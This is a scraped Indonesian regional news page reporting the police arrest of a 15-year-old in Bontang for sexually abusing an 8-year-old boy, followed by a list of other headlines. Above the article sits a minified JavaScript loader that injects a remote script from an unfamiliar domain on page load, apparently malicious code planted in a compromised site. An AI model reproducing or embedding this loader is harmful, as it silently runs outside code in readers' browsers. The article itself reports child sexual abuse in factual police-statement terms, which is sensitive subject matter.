(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kalimantan Timur

Terpengaruh Video Dewasa, Remaja di Bontang Cabuli Bocah Laki-laki 8 Tahun


KANALKALIMANTAN.COM – Remaja berusia 15 di Bontang, ditangkap polisi lantaran mencabuli bocah laki-laki berusia 8 tahun.

Pelaku berinisial RH merupakan tetangga korban HR. RH nekat mencabuli HR dengan cara disodomi, setelah menonton video porno.

Melalui Kasat Reskrim Polres Bontang AKP Makhfud Hidayat, Kapolres Bontang AKBP Hanifa Martunas Siringoringo menyebut tindak amoral RH diketahui setelah HR mengeluhkan sakit pada bagian anusnya.

“Kedua orang tua korban saat itu baru pulang ke rumah, melihat anaknya lemas dan pucat. Saat ditanya, si korban mengaku telah dicabuli dengan dipaksa melakukan oral seks dan disodomi,” katanya saat dikonfirmasi Selasa (22/9/2020) malam.

Tak terima, orang tua korban kemudian melaporkannya ke Mapolres Bontang.

Satreskrim melalui Tim Opsnal Rajawali kemudian dikerahkan untuk melakukan penjemputan.

Pelaku diamankan tanpa perlawanan dikediamannya di kawasan Kecamatan Bontang Utara.

Dari hasil pemeriksaan, pelaku mengaku nekat menyodomi korban usai menonton video porno.

Ketika gairah pelaku membuncah, korban sedang bermain didekat rumah pelaku.

Korban lantas dipanggil oleh pelaku untuk masuk kedalam rumahnya.

“Saat itu lah dia memaksa korban melakukan tindak senonoh. Atas kejadian itu korban pun mengalami syok. Selain mengamankan pelaku kami juga berkoordinasi dengan lembaga perlindungan anak untuk membantu pemulihan psikis korban pasca kejadian,” sebutnya.

Saat ini lanjut dia, pihaknya masih melakukan pemeriksaan pada pelaku.

Adapun barang bukti yang diamankan, berupa pakain korban saat pencabulan dan hasil visum.

Pelaku di ancam dengan Pasal 82 ayat (1) Jo Pasal 76E Undang-undang Nomor 17 tahun 2016 tentang penetapan peraturan kedua atas UU RI No. 23 tahun 2002 tentang perlindungan anak menjadi undang-undang dengan pidana maksimal 15 tahun. (suara.com)

Reporter : suara.com
Editor : kk

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.